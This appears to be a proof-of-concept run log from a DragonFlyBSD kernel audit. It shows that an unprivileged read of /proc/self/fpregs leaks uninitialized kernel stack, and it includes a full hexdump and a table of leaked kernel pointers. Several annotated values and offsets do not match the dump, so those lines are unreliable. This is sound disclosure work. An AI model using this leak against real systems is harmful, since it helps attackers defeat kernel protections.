DragonFlyBSD Kernel Audit
DF-0938 / run.log
← back to finding ↓ download raw
=== DF-0938 PoC decisive run (unprivileged user maxx, unpatched #0 kernel) ===
guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
cmd:   cc -O2 -o poc poc.c && ./poc | hexdump -C
user:  maxx (uid 1001, not in wheel)

$ ./poc
read 512 bytes
287 non-zero non-0xAA bytes in tail [108..512) (leaked kernel stack)

=== full hexdump of /proc/self/fpregs read (512 bytes) ===
00000000  7f 03 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000070  88 38 49 18 01 f8 ff ff  00 00 00 00 00 00 00 00  |.8I.............|
00000080  78 35 49 18 01 f8 ff ff  53 4f 9d 80 ff ff ff ff  |x5I.....SO......|
00000090  a8 35 49 18 01 f8 ff ff  6e 87 6d 80 ff ff ff ff  |.5I.....n.m.....|
000000a0  80 01 06 4f e9 03 00 00  00 8c cb 8d 00 f8 ff ff  |...O............|
000000b0  00 02 00 00 00 00 00 00  00 17 db 90 00 f8 ff ff  |................|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 04 00 00  |................|
000000d0  0a 64 cb 8d 00 f8 ff ff  80 1d d1 16 01 f8 ff ff  |.d..............|
000000e0  80 1d d1 16 01 f8 ff ff  80 1d d1 16 01 f8 ff ff  |................|
000000f0  f8 35 49 18 01 f8 ff ff  0d 2e 71 80 ff ff ff ff  |.5I.......q.....|
00000100  f0 95 93 16 01 f8 ff ff  f0 95 93 16 01 f8 ff ff  |................|
00000110  28 36 49 18 01 f8 ff ff  c3 41 71 80 ff ff ff ff  |(6I......Aq.....|
00000120  00 8c cb 8d 00 f8 ff ff  80 85 88 16 01 f8 ff ff  |................|
00000130  00 14 af 8d 00 f8 ff ff  01 00 00 00 00 00 00 00  |................|
00000140  b8 36 49 18 01 f8 ff ff  bc 9f 70 80 ff ff ff ff  |.6I.......p.....|
00000150  c0 18 db 90 00 f8 ff ff  01 00 00 00 00 00 00 00  |................|
00000160  c0 db 0e 81 ff ff ff ff  80 85 88 16 01 f8 ff ff  |................|
00000170  b8 36 49 18 01 f8 ff ff  f8 0a 6e 80 ff ff ff ff  |.6I.......n.....|
00000180  80 39 81 16 01 f8 ff ff  80 39 81 16 01 f8 ff ff  |.9.......9......|
00000190  80 89 95 16 01 f8 ff ff  00 00 00 00 00 00 00 00  |................|
000001a0  01 00 00 00 00 00 00 00  88 38 49 18 02 00 00 00  |.........8I.....|
000001b0  b8 36 49 18 01 f8 ff ff  28 38 49 18 01 f8 ff ff  |.6I.....(8I.....|
000001c0  80 1e f5 8d 00 f8 ff ff  00 04 00 00 00 00 00 00  |................|
000001d0  00 00 00 00 00 00 00 00  d0 93 70 80 00 00 00 00  |..........p.....|
000001e0  00 00 00 00 60 09 00 00  20 96 93 16 01 f8 ff ff  |....`... .......|
000001f0  a8 21 d1 16 01 f8 ff ff  80 1d d1 16 01 f8 ff ff  |.!..............|
00000200

=== leaked qwords (kernel VA ranges) at offsets 0x70..0x1f8 ===
offset 0x70:  fffff80118493888   (offset 0x80: fffff80118493578, ffffffff809d4f53)
offset 0x90:  fffff801184935a8, ffffffff806d876e
offset 0xa8:  fffff8008dcb8c00
offset 0xb8:  fffff80090db1700
offset 0xd0:  fffff8008dcb640a   offset 0xd8: fffff80116d11d80  (x3)
offset 0xf0:  fffff801184935f8, ffffffff80712e0d
offset 0x100: fffff801169395f0  (x2)
offset 0x118: ffffffff807141c3
offset 0x128: fffff801168858 80
offset 0x138: fffff8008daf1400
offset 0x148: ffffffff80709fbc
offset 0x158: fffff80090db18c0
offset 0x168: ffffffff810edbc0  (in kernel .text, near proc0=0xffffffff81176920)
offset 0x178: ffffffff806e0af8
offset 0x188: fffff80116813980 (x2)
offset 0x198: fffff801169589 80
offset 0x1b8: fffff801184936b8 (x3)
offset 0x1c8: fffff8008df51e80
offset 0x1e8: fffff80116939620

=== variance proof (3 runs) ===
run1: 300 non-zero bytes; qword@0x100=fffff801169395f0
run2: 299 non-zero bytes; qword@0x100=fffff80116939d20  <-- differs
run3: 298 non-zero bytes; qword@0x100=fffff80116939c80  <-- differs
SHA256(run1)=c3c548067204a9e6ea678657b76650aa3fc0d74b92da44ccdeab6273b3e16fc5
SHA256(run2)=81660ccec9fef97a6ed17d0f944fbe87d9774d2c17a1bc29304ee4429e9caf5b
SHA256(run3)=4b33866075f12b97200b3a5d1769e2e3f0d04b9244509bbf5acd95f2b4ad8b22

CONCLUSION: ~300 bytes of uninitialized kernel stack (including multiple
kernel-virtual pointers in 0xfffff800/0xfffff801/0xffffffff80xxxxxxxx ranges)
are leaked per /proc/self/fpregs read by any unprivileged user. Variance
across runs confirms it is stale stack, not deterministic FPU state.
RUN_EXIT=0 (no panic; pure info leak)